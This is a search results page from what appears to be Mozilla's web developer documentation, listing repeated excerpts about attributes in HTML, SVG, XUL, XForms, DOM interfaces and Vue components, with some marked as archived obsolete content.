attribute. stringbundle type: nsistringbundle returns the xpcom string bundle object which implements nsistringbundle. strings type: nsisimpleenumerator an enumeration of all of the strings in the string bundle. the enumeration contains nsipropertyelement objects. methods getformattedstring( key, strarray ) return type: string looks up the format string for the given key name in the st...
...And 7 more matches
tabbrowser - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used for holding a set of read-only views of web documents. it is similar to the browser element, except that multiple documents can be displayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
...s | methods | related ] this element is used for holding a set of read-only views of web documents. it is similar to the browser element, except that multiple documents can be displayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
...wser, gettabmodalpromptbox, goback, gobackgroup, goforward, goforwardgroup, gohome, gotoindex, loadgroup, loadonetab, loadtabs, loaduri, loaduriwithflags, movetabto, pintab, reload, reloadalltabs, reloadtab, reloadwithflags, removealltabsbut, removecurrenttab, removeprogresslistener, removetab, removetabsprogresslistener,replacegroup, selecttabatindex, seticon, showonlythesetabs, stop, unpintab
attributes autocompleteenabled type: boolean set to true to enable autocomplete of fields. autocompletepopup type: id the id of a popup element used to hold autocomplete results for the element. autoscroll type: boolean set to false to disable autoscroll for this browser. if this
attribute is set to true or omitted, autoscroll will be enabled or depending on the us...
...And 7 more matches
wizardpage - Archive of obsolete content
next type: id set to the pageid of the next wizardpage after this one. ...
... next type: id set to the pageid of the next wizardpage after this one. ...
... next type: id set to the pageid of the next wizardpage after this one. ...
...And 7 more matches
XForms Select1 Element - Archive of obsolete content
on allows the user to choose a single value from a list of pre-defined values (see the spec). the list of pre-defined items can be specified by either item (see the spec) or itemset (see the spec) elements. you can visually group these pre-defined items by using the choices (see the spec) element to contain them. note, some representations of the select1 element do not support visual grouping.
attributes ui common appearance - the value of this
attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special selection - this
attribute, when set to 'open', allows the user to provide free entry to the list. possible values are open and close...
...t to the xforms processor as to which type of widget(s) to use to represent this control. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special selection - this
attribute, when set to 'open', allows the user to provide free entry to the list. possible values are open and closed, default is closed (see #representations section to refer if the
attribute is supported for every representation). incremental - supported, default value is true properties selection - see corresponding
attribute incremental - see corresponding
attribute type restrictions the select1 element can be bound to a node containing simple content. the data binding restriction to simple content may be relaxed when an itemset element is used, which allows the available...
...choices to be obtained from an xforms model. the relaxation happens when the itemset element specifies the item value using a copy (see spec) element. this is because a copy element can be used to add a subtree of nodes underneath the element that the select1 control is bound to. representations the xforms select1 element can be represented by the following widgets for the specified appearance
attribute values: combobox - default representation (xhtml/xul) listbox - used when appearance = 'compact' (xhtml/xul) radio group - used when appearance = 'full' (xhtml/xul) combobox displaying a combobox is the default representation (xhtml/xul). xhtml widget characteristics analogous widgets is <html:select/> visual grouping by choices element is supported selection="open" is supported if in...
...And 7 more matches
HTML basics - Learn web development
the element name. this states where the element ends — in this case where the paragraph ends. failing to add a closing tag is one of the standard beginner errors and can lead to strange results. the content: this is the content of the element, which in this case, is just text. the element: the opening tag, the closing tag and the content together comprise the element. ...
...ent ends — in this case where the paragraph ends. failing to add a closing tag is one of the standard beginner errors and can lead to strange results. the content: this is the content of the element, which in this case, is just text. the element: the opening tag, the closing tag and the content together comprise the element. ...
... lead to strange results. the content: this is the content of the element, which in this case, is just text. the element: the opening tag, the closing tag and the content together comprise the element. elements can also have
attributes that look like the following:
attributes contain extra information about the element that you don't want to appear in the actual content. here, class is the
attribute name and editor-note is the
attribute value. ...
...And 7 more matches
Images in HTML - Learn web development
ting started with html.) objective: to learn how to embed simple images in html, annotate them with captions, and how html images relate to css background images. how do we put an image on a webpage? in order to put a simple image on a webpage, we use the <img> element. this is an empty element (meaning that it has no text content or closing tag) that requires a minimum of one
attribute to be useful — src (sometimes spoken as its full title, source). the src
attribute contains a path pointing to the image you want to embed in the page, which can be a relative or absolute url, in the same way as href
attribute values in <a> elements. note: you should read a quick primer on urls and paths to refresh your memory on relative and absolute urls before continuing. so for example,...
... the images for your website on the same server as your html. warning: most images are copyrighted. do not display an image on your webpage unless: you own the image. you have received explicit, written permission from the image owner. you have ample proof that the image is, in fact, in the public domain. copyright violations are illegal and unethical. in addition, never point your src
attribute at an image hosted on someone else's website that you don't have permission to link to. this is called "hotlinking". again, stealing someone's bandwidth is illegal. it also slows down your page, leaving you with no control over whether the image is removed or replaced with something embarrassing. our above code would give us the following result: note: elements like <img> and <video> are so...
...following result: note: elements like <img> and <video> are sometimes referred to as replaced elements. this is because the element's content and size are defined by an external resource (like an image or video file), not by the contents of the element itself. note: you can find the finished example from this section running on github (see the source code too.) alternative text the next
attribute we'll look at is alt. its value is supposed to be a textual description of the image, for use in situations where the image cannot be seen/displayed or takes a long time to render because of a slow internet connection. for example, our above code could be modified like so: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long ...
...And 7 more matches
Responsive images - Learn web development
ant to solve with resolution switching? we want to display identical image content, just larger or smaller depending on the device — this is the situation we have with the second content image in our example. the standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> we can however use two new
attributes — srcset and sizes — to provide several additional source images along with hints to help the browser pick the right one. you can see an example of this in our responsive.html example on github (see also the source code): <img srcset="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.jpg" ...
...nal source images along with hints to help the browser pick the right one. you can see an example of this in our responsive.html example on github (see also the source code): <img srcset="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> the srcset and sizes
attributes look complicated, but they're not too hard to understand if you format them as shown above, with a different part of the
attribute value on each line. each value contains a comma-separated list, and each part of those lists is made up of three sub-parts. let's run through the contents of each now: srcset defines the set of images we will allow the browser to choose between, and what size each i...
... width, you may provide an absolute length (px, em) or a length relative to the viewport (vw), but not percentages. you may have noticed that the last slot width has no media condition (this is the default that is chosen when none of the media conditions are true). the browser ignores everything after the first matching condition, so be careful how you order the media conditions. so, with these
attributes in place, the browser will: look at its device width. work out which media condition in the sizes list is the first one to be true. look at the slot size given to that media query. load the image referenced in the srcset list that has the same size as the slot or, if there isn't one, the first image that is bigger than the chosen slot size. and that's it! at this point, if a supporting b...
...And 7 more matches
Creating our first Vue component - Learn web development
our todoitem. vue templates are currently only allowed a single root element — one element needs to wrap everything inside the template section (this will change when vue 3 comes out). we'll use a <div> for that root element. add an empty <div> inside your component template now. inside that <div>, let's add a checkbox and a corresponding label. add an id to the checkbox, and a for
attribute mapping the checkbox to the label, as shown below. <template> <div> <input type="checkbox" id="todo-item" checked="false" /> <label for="todo-item">my todo item</label> </div> </template> using todoitem inside our app this is all fine, but we haven’t added the component to our app yet, so there’s no way to test it and see if everything is working. let’s add it now. ...
...ue <app> at src/app.vue <root> this is because we marked the label as a required prop, but we never gave the component that prop — we've defined where inside the template we want it used, but we haven't passed it into the component when calling it. let’s fix that. inside your app.vue file, add a label prop to the <to-do-item></to-do-item> component, just like a regular html
attribute: <to-do-item label="my todo item"></to-do-item> now you'll see the label in your app, and the warning won't be spat out in the console again. so that's props in a nutshell. next we'll move on to how vue persists data state. vue's data object if you change the value of the label prop passed into the <to-do-item></to-do-item> call in your app component, you should see it update. this is great.
...to-do-item></to-do-item> call in your app component, you should see it update. this is great. we have a checkbox, with an updatable label. however, we're currently not doing anything with the "done" prop — we can check the checkboxes in the ui, but nowhere in the app are we recording whether a todo item is actually done. to achieve this, we want to bind the component's done prop to the checked
attribute on the <input> element, so that it can serve as a record of whether the checkbox is checked or not. however, it's important that props serve as one-way data binding — a component should never alter the value of its own props. there are a lot of reasons for this. in part, components editing props can make debugging a challenge. if a value is passed to multiple children, it could be hard to track...
...And 7 more matches
SVG Guidelines
ightweight. these rules are based on some real examples seen in mozilla's code. ...
...xamples this path: <path d=" m5,5 l1,1z "> can be cut down to this: <path d="m5,5 l1,1z"> similarly, this polygon: <polygon points=" 0,0 4,4 4,0 "/> can be cut down to this: <polygon points="0,0 4,4 4,0"/> line breaks you should only use line breaks for logical separation or if they help make the file readable. you should avoid line breaks between every single element or within
attribute values. it's recommended to put the
attributes on the same line as their tag names, if possible. you should also put the shortest
attributes first, so they are easier to spot. unused tags and
attributes editor metadata vector editors (inkscape, adobe illustrator, sketch) usually add a bunch of metadata in svg files while saving them. metadata can mean many things, including: the typical "c...
...typical examples of this are <title> and <desc> tags. ...
...And 7 more matches
Mozilla MathML Status
maxwidth, overflow not implemented. see bug 534962. ...
...ent status of the native support. references to mathml 3 are given. the sections are marked with their current status: supported, in progress, and not currently supported. sections related to semantics/content mathml or irrelevant features are left blank or not listed at all. if only the main features of an element are implemented then its section is marked as supported but details of unsupported
attributes are specified below. the top-level math element see § 2.2.
attribute notes display implemented. maxwidth, overflow not implemented. see bug 534962. altimg, altimg-width, altimg-height, altimg-valign, alttext accepted, but do not have any effect on the rendering. mathml is always enabled since bug 660762. cdgroup accepted, but does not ...
... xref accepted, but does not have any effect on the rendering. href implemented. the user interface works correctly in seamonkey but not in firefox. see bug 958957. mathcolor implemented. ...
...And 7 more matches
XUL Accessibility
gregating the text from element subtree if the child node is hidden then it's ignored excepting the case when the element used as label is hidden itself if the child node is text node then its rendered value is appended if the child node is element then if it implements nsidomxullabeledcontrolelement then the value of label property is appended otherwise if it's a label element then then value
attribute is appended otherwise append tooltiptext
attribute append the accessible value searching specific element in neighbour of the element search inside the element subtree go up through parents (max level is 5) and search inside theirs subtrees if the element is anonymous then search in whole anonymous subtree, here the
attribute anonid is used instead of id
attribute accessible properties thi...
... through parents (max level is 5) and search inside theirs subtrees if the element is anonymous then search in whole anonymous subtree, here the
attribute anonid is used instead of id
attribute accessible properties this section describes common rules how accessibility properties are formed for xul elements. ...
... the element is anonymous then search in whole anonymous subtree, here the
attribute anonid is used instead of id
attribute accessible properties this section describes common rules how accessibility properties are formed for xul elements. ...
...And 7 more matches
nsIAccessibleText
accessible/public/nsiaccessibletext.idlscriptable please add a summary to this article. ...
...ionnum, out long startoffset, out long endoffset); astring gettext(in long startoffset, in long endoffset); astring gettextafteroffset(in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset); astring gettextatoffset(in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset); nsipersistentproperties gettext
attributes(in boolean includedefattrs, in long offset, out long rangestartoffset, out long rangeendoffset); astring gettextbeforeoffset(in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset); void removeselection(in long selectionnum); void scrollsubstringto(in long startindex, in long endindex, in unsigned long scrolltype); void scrollsubstringtopoint...
...read only. selectioncount long read only. constants text offset constants constant value descriptio...
...And 7 more matches
Attr - Web APIs
the attr interface represents one of a dom element's
attributes as an object. in most dom methods, you will directly retrieve the
attribute as a string (e.g., element.get
attribute()), but certain functions (e.g., element.get
attributenode()) or means of iterating return attr types. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,anda...
...middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the console. you should revise your code accordingly. see deprecated properties and methods for a complete list. properties name read only the
attribute's name. namespaceuri read only a domstring representing the namespace uri of the
attribute, or null if there is no namespace. localname read only a domstring representing the local part of the qualified name of the
attribute. prefix read only a domstring representing the namespace prefix of the
attribute, or null if no prefix is specified. ownerelement read only the element holding ...
... note: dom level 4 removed this property. the assumption was that since you get an attr object from an element, you should already know the associated element. as that doesn't hold true in cases like attr objects being returned by document.evaluate, the dom living standard reintroduced the property. ...
...And 7 more matches
HTMLFormElement - Web APIs
r-events: all;} properties this interface also inherits properties from its parent, htmlelement. htmlformelement.elements read only a htmlformcontrolscollection holding all form controls belonging to this form element. htmlformelement.lengthread only a long reflecting the number of controls in the form. htmlformelement.name a domstring reflecting the value of the form's name html
attribute, containing the name of the form. htmlformelement.method a domstring reflecting the value of the form's method html
attribute, indicating the http method used to submit the form. only specified values can be set. htmlformelement.target a domstring reflecting the value of the form's target html
attribute, indicating where to display the results received from submitting the form. htmlformeleme...
...only specified values can be set. ...
...form's target html
attribute, indicating where to display the results received from submitting the form. htmlformelement.action a domstring reflecting the value of the form's action html
attribute, containing the uri of a program that processes the information submitted by the form. htmlformelement.encoding or htmlformelement.enctype a domstring reflecting the value of the form's enctype html
attribute, indicating the type of content that is used to transmit the form to the server. only specified values can be set. the two properties are synonyms. htmlformelement.acceptcharset a domstring reflecting the value of the form's accept-charset html
attribute, representing the character encoding that the server accepts. htmlformelement.autocomplete a domstring reflecting the value of the form's au...
...And 7 more matches
MutationObserverInit - Web APIs
otherwise, a typeerror exception will be thrown. subtree optional set to true to extend monitoring to the entire subtree of nodes rooted at target. ...
... rooted at target. all of the other mutationobserverinit properties are then extended to all of the nodes in the subtree instead of applying solely to the target node. the default value is false. childlist optional set to true to monitor the target node (and, if subtree is true, its descendants) for the addition of new child nodes or removal of existing child nodes. the default value is false. ...
...e then extended to all of the nodes in the subtree instead of applying solely to the target node. the default value is false. childlist optional set to true to monitor the target node (and, if subtree is true, its descendants) for the addition of new child nodes or removal of existing child nodes. the default value is false.
attributes optional set to true to watch for changes to the value of
attributes on the node or nodes being monitored. ...
...And 7 more matches
Window.open() - Web APIs
specified as url, a blank page is opened into the targeted browsing context. windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname. this name can be used as the target for the target
attribute of <a> or <form> elements. the name should not contain whitespace. keep in mind that this will not be used as the window's title. windowfeatures optional a domstring containing a comma-separated list of window features given with their corresponding values in the form "name=value". these features include options such as the window's default size and position, whether or not to include toolbar, ...
...sabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "promotefirefoxwindowname". if no frame nor window has the name "promotefirefoxwindowname", then the browser will create a new window and will name it "promotefirefoxwindowname". ...
... user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "promotefirefoxwindowname". if no frame nor window has the name "promotefirefoxwindowname", then the browser will create a new window and will name it "promotefirefoxwindowname". ...
...And 7 more matches
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
tted content phrasing content, but there must be no <meter> element among its descendants. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmeterelement
attributes this element includes the global
attributes. value the current numeric value. this must be between the minimum and maximum values (min
attribute and max
attribute) if they are specified. if unspecified or malformed, the value is 0. if specified, but not within the range given by the min
attribute and max
attribute, the value is equal to the nearest end of the range. note: unless the value ...
...if unspecified, the minimum value is 0. max the upper numeric bound of the measured range. ...
...the current numeric value. this must be between the minimum and maximum values (min
attribute and max
attribute) if they are specified. if unspecified or malformed, the value is 0. if specified, but not within the range given by the min
attribute and max
attribute, the value is equal to the nearest end of the range. note: unless the value
attribute is between 0 and 1 (inclusive), the min and max
attributes should define the range so that the value
attribute's value is within it. min the lower numeric bound of the measured range. this must be less than the maximum value (max
attribute), if specified. if unspecified, the minimum value is 0. max the upper numeric bound of the measured range. this must be greater than the minimum value (min
attribute), if specified. if unspecified, the maximum v...
...And 7 more matches
begin - SVG: Scalable Vector Graphics
the begin
attribute defines when an animation should begin or when an element should be discarded. the
attribute value is a semicolon separated list of values. the interpretation of a list of start times is detailed in the smil specification in "evaluation of begin and end time lists". each individual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite. six elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, and <set> animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, begin defines when the element should begin, i.e. become active. ...
...the syntax defined in iso 8601. indefinite the begin of the animation will be determined by a beginelement() method call or a hyperlink targeted to the element. discard for <discard>, begin defines when the target element will be discarded. the <discard> element has an implicit simple duration of indefinite. as soon as the element's active duration starts, the element identified by the href
attribute is discarded. the behavior is the same as if node.removechild() were called on the parent of the target element with the target element as parameter. after removal of the target element, the <discard> element is no longer useful, therefore it is also discarded after the target element's removal. if the href
attribute has an invalid url reference (e.g. the target element did not exist), the <disc...
... the <discard> element itself can be discarded prior to its activation, in which case it will never trigger the removal of its own target element. ...
...And 7 more matches
x - SVG: Scalable Vector Graphics
the x
attribute defines a x-axis coordinate in the user coordinate system. ...
... the x
attribute defines a x-axis coordinate in the user coordinate system. ...
... default value 0% animatable yes feoffset for <feoffset>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% animatable yes fepointlight for <fepointlight>, x defines the x location for the light source in the coordinate system defined by the primitiveunits
attribute on the <filter> element. value <number> default value 0 animatable yes fespecularlighting for <fespecularlighting>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% animatable yes fespotlight for <fespotlight>, x defines the x location...
...And 7 more matches
y - SVG: Scalable Vector Graphics
the y
attribute defines a y-axis coordinate in the user coordinate system. ...
... the y
attribute defines a y-axis coordinate in the user coordinate system. ...
... default value 0% animatable yes feoffset for <feoffset>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% animatable yes fepointlight for <fepointlight>, y defines the y location for the light source in the coordinate system defined by the primitiveunits
attribute on the <filter> element. value <number> default value 0 animatable yes fespecularlighting for <fespecularlighting>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% animatable yes fespotlight for <fespotlight>, y defines the y location...
...And 7 more matches
<set> - SVG: Scalable Vector Graphics
the svg <set> element provides a simple means of just setting the value of an
attribute for a specified duration. it supports all
attribute types, including those that cannot reasonably be interpolated, such as string and boolean values. for
attributes that can be reasonably be interpolated, the <animate> is usualy prefered. note: the <set> element is non-additive. the additive and accumulate
attributes are not allowed, and will be ignored if specified. ...
...ly prefered. note: the <set> element is non-additive. the additive and accumulate
attributes are not allowed, and will be ignored if specified. html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set
attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg>
attributes to this
attribute defines the value to be applied to the target
attribute for the duration of the animation. the value must match the requirements of the target
attribute. ...
...style> <rect id="me" width="10" height="10"> <set
attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg>
attributes to this
attribute defines the value to be applied to the target
attribute for the duration of the animation. the value must match the requirements of the target
attribute. ...
...And 7 more matches
<text> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value:...
... dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength
attribute. ...
... value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength
attribute. value type: spacing|spacingandglyphs; default value: spacing; animatable: yes textlength a width that the text should be scaled to fit. ...
...And 7 more matches
Example - SVG: Scalable Vector Graphics
cript type='text/javascript'> <![cdata[ // array of motes var motes; // get the display element. function display() { return document.getelementbyid('display'); } // determine dimensions of the display element. ...
...r motes; // get the display element. function display() { return document.getelementbyid('display'); } // determine dimensions of the display element. ...
...isplay(); var width = parseint( display.get
attributens(null,'width') ); var height = parseint( display.get
attributens(null,'height') ); return [width,height]; } // this is called by mouse move events var mouse_x = 200, mouse_y = 150; function onmousemove(evt) { mouse_x = evt.clientx; mouse_y = evt.clienty; var widget = document.getelementbyid('cursor'); widget.set
attributens(null,'cx',mouse_x); widget.set
attributens(null,'cy',mouse_y); } document.onmousemove = onmousemove; // determine (x,y) of the cursor function cursor() { return [mouse_x, mouse_y]; } // determine average (x,y) of the swarm function averagemoteposition() { if( !motes ) return [0,0]; if( motes.length == 0 ) return [0,0]; var i; var sum_x=0, sum_y=0; ...
...And 7 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
using fill sets the color inside the object and stroke sets the color of the line drawn around the object. ...
...using fill sets the color inside the object and stroke sets the color of the line drawn around the object. ...
...using fill sets the color inside the object and stroke sets the color of the line drawn around the object. ...
...And 7 more matches
simple-prefs - Archive of obsolete content
name an identifier fo...
... "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }, { "description": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of
attributes. there are: mandatory
attributes that all preferences must have optional
attributes
attributes that are specific to the preference's data type mandatory common
attributes these are
attributes that all preferences must have.
attribute description type the type of preference, as defined in the "preference types" section below. name an identifier for the preference. this is used to ac...
...eference types" section below. name an identifier for the preference. this is used to access the preference from your add-on: console.log(require("sdk/simple-prefs").prefs.mysettingname); this means that it must be a valid javascript identifier. title this is used as a label for the preference in the add-ons manager user interface. optional common
attributes these are
attributes that all preferences may have:
attribute description description this appears below the preference title in the add-ons manager ui. value a default value for the preference. depending on the preference type, this may be an integer, string, or boolean value. hidden a boolean value which, if present and set to tr...
...And 6 more matches
The Box Model - Archive of obsolete content
flexibility an html div is as big as its contents unless you override its dimensions using css. this is simila...
... flexibility an html div is as big as its contents unless you override its dimensions using css. ...
...presentation. flexibility an html div is as big as its contents unless you override its dimensions using css. this is similarly the case for xul, except there are two flexibility directions to consider. an hbox is as big as its contents horizontally, but it will occupy all the available space vertically. you can make an hbox flexible horizontally with the css property -moz-box-flex or the flex
attribute. the same applies to a vbox, but in the other direction. unlike most style
attributes, the flex
attribute is considered acceptable to use in xul code. this is because this
attribute is used much too often, and it would require a great deal of css code to avoid using it. at any rate, it can always be overriden using css, so your extension won't lose skinability because of it. flexibility is defi...
...And 6 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
summary: authors are used to having alt text appear as a "tooltip" above images, but that's not how it was meant to be used. learn how to define "tooltips" in a cross-browser, standards-friendly way. authors are used to using the alt
attribute to create "tooltips" in web browsers. ...
... having alt text appear as a "tooltip" above images, but that's not how it was meant to be used. learn how to define "tooltips" in a cross-browser, standards-friendly way. authors are used to using the alt
attribute to create "tooltips" in web browsers. the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt
attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior. ...
... "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt
attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior. see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. the problem according to the html 4.01 definition of the alt
attribute: alt = text cs for user agents that cannot display images, forms, or applets, this
attribute specifies alternate text. the language of the alternate text is specified by the lang
attribute. in other words, alt text should only be displayed when a user agent cannot display the primary content of the element (e.g., a text-mode browser that cannot display images). in a visual browser, the imag...
...And 6 more matches
Microsummary XML grammar reference - Archive of obsolete content
to pull specific information from a web page to be presented in summary form as a bookmark whose title changes based on the content of the page it targets. warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml grammar used to build microsummary generators, describing each element and their
attributes. for an introduction to how to create a microsummary, read the article creating a microsummary. example the microsummary generator created in the creating a microsummary tutorial: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0">...
...rg/microsummaries/0.1 all elements in a microsummary generator document should be in this namespace except the descendants of the <template> element, which should be in the xslt namespace: http://www.w3.org/1999/xsl/transform the <generator> element the <generator> element is the root tag for all microsummary generators, and should contain the remainder of the xml code describing the generator.
attributes: name (required) a descriptive, human-readable name for the microsummary created by the generator. uri (optional) a valid uri uniquely identifying the generator. only relevant for generators dynamically created by firefox code and extensions. generators installed from the web via nssidebar::addmicrosummarygenerator are identified by the remote url from which they wer...
...an-readable name for the microsummary created by the generator. uri (optional) a valid uri uniquely identifying the generator. only relevant for generators dynamically created by firefox code and extensions. generators installed from the web via nssidebar::addmicrosummarygenerator are identified by the remote url from which they were downloaded, and firefox ignores the value of this
attribute for them. child elements: <template> (required) defines how to transform pages into their microsummaries. <pages> (required) identifies the set of pages that the generator is able to summarize. <update> (optional) specifies how frequently firefox should update the microsummaries. the <template> element the <template> element contains the xslt styleshee...
...And 6 more matches
ContextMenus - Archive of obsolete content
eral ways to open a context menu, a single event may be used to listen for any of these situations; the 'contextmenu' event is fired in any case. <hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the event listener attached using the oncontextmenu
attribute. as textboxes have a context menu built in, the event will fire before an attempt to open the context menu. however, the event will also fire when the label is right-clicked for instance, so the event handler should check to make sure that the target of the contextmenu event is what is desired. to cancel a context menu event, you can use the preventdefault method of the event object. function c...
...t of the context menu and, if so, cancels the event using the preventdefault method. this has the effect of disabling the context menu. the event listener is attached using the addeventlistener method within the 'init' function. this might be called while initializing a window during a load event for example. attaching context menus a context menu may be attached to an element using the context
attribute, which may be applied to any xul element. the value of the context
attribute should be the id of a context menu within the same document. in the example, a context menu is attached to a grid. <window id="main-window"> <popupset> <menupopup id="ins-del-menu"> <menuitem label="insert"/> <menuitem label="delete"/> </menupopup> </popupset> </window> <grid context="ins-del...
... <menuitem label="insert"/> <menuitem label="delete"/> </menupopup> </popupset> </window> <grid context="ins-del-menu"> <columns> <column/> <column flex="1"/> </columns> <rows id="rows"> <row align="center"> <label value="name:"/> <textbox/> </row> </rows> </grid> the same context menu can be attached to multiple elements. just set the context
attribute on those elements you want the context menu to apply to. one technique is to attach a context menu to an entire document area. for instance, the firefox browser applies a single context menu to the browser area which displays web pages. for example, the following will attach a context menu with the id 'contentareacontextmenu' to a browser element: <browser context="contentareacontextmenu"> in...
...And 6 more matches
Menus - Archive of obsolete content
ample, the file and edit menus along the top of an application window (or the menubar on the top of screen). this type of menu is usually used for commands that apply to the entire application. commands that don't apply at a given time should be disabled. however, the actual top level menus do not generally change for a given window. button a menu may be attached to a button by setting the type
attribute of the button to 'menu'. instead of creating a standard button, this will create a button with a small arrow or other indicator. clicking the button will display the menu, allowing a command to be selected. this type of menu would be used when you want to have a set of commands yet don't want to use a menu bar, for example in a dialog box. see menu buttons for more information. toolbarbutton to...
...yed over top of the window, aligned along the bottom of the help menu label. when a menu command is selected or the menu is cancelled, the menupopup disappears from the screen again. the menu element the menu element is used for the labels on a menubar and for the labels of submenus. for information about submenus, see submenus below. the label for the menu element is specified using the label
attribute. in the example below, the menu has the label 'view'. <menu label="view"> <menupopup> <menuitem label="toolbar"/> <menuitem label="status bar"/> </menupopup> </menu> when the menu is clicked, it opens the menupopup contained within it. for this reason, a menupopup should be placed as a direct child of the menu. the menu can also be opened by using the keyboard. the user can press ...
...be used. another way is to add shortcut keys called access keys for each menu element to make it easier to access the menu commands. on some platforms, adding an access key will underline a letter in the menu label indicating the key to press. for this reason, the access key should always correspond to a character that appears in the menu label. to set an access key for a menu, use the accesskey
attribute, as in the example below. <menu label="file" accesskey="f"/> this menu can then be opened by pressing the access key (typically in combination with the alt key). naturally, the access keys should be unique on a menubar. so if you wanted to have a menu with the label find, you would need to set a different access key. <menubar> <menu label="file" accesskey="f"/> <menu label="find" accessk...
...And 6 more matches
OpenClose - Archive of obsolete content
mand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag. for menupopups attached to other elements using the popup or context
attributes, see opening a popup below. as with other ways of opening a menu, the popupshowing event will be fired to provide an opportunity to customize the commands that appear on the menu. there are several situations when opening a menu is not allowed. these are: if the menu is already open, or already in the process of being opened. naturally, attempting to open a menu that is already open doesn't...
...and the open property on the submenu is set to false, the submenu will close, yet the parent file menu will remain open. on the other hand, if the open property on the file menu is set to false, both menus will close. this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag. for menupopups attached to other elements using the popup or context
attributes, see closing a popup below. when a menu is closed, the popuphiding event is fired at the menupopup. attaching an event listener which listens for the popuphiding event can be used to remove any commands that were adding during the popupshowing event. menus and popups are also closed when the document or window they are contained within is closed, or if the menupopup element is removed from the...
...g an unload event. testing menu open state to check if a menu is open, check the state of the menu's open property. if the open property is set to true, then the menu is open, otherwise the menu is closed. var open = somemenu.open; opening a popup for opening menupopups that use the menu tag, the button tag and the toolbarbutton tag, see opening menus above. popups attached using the popup
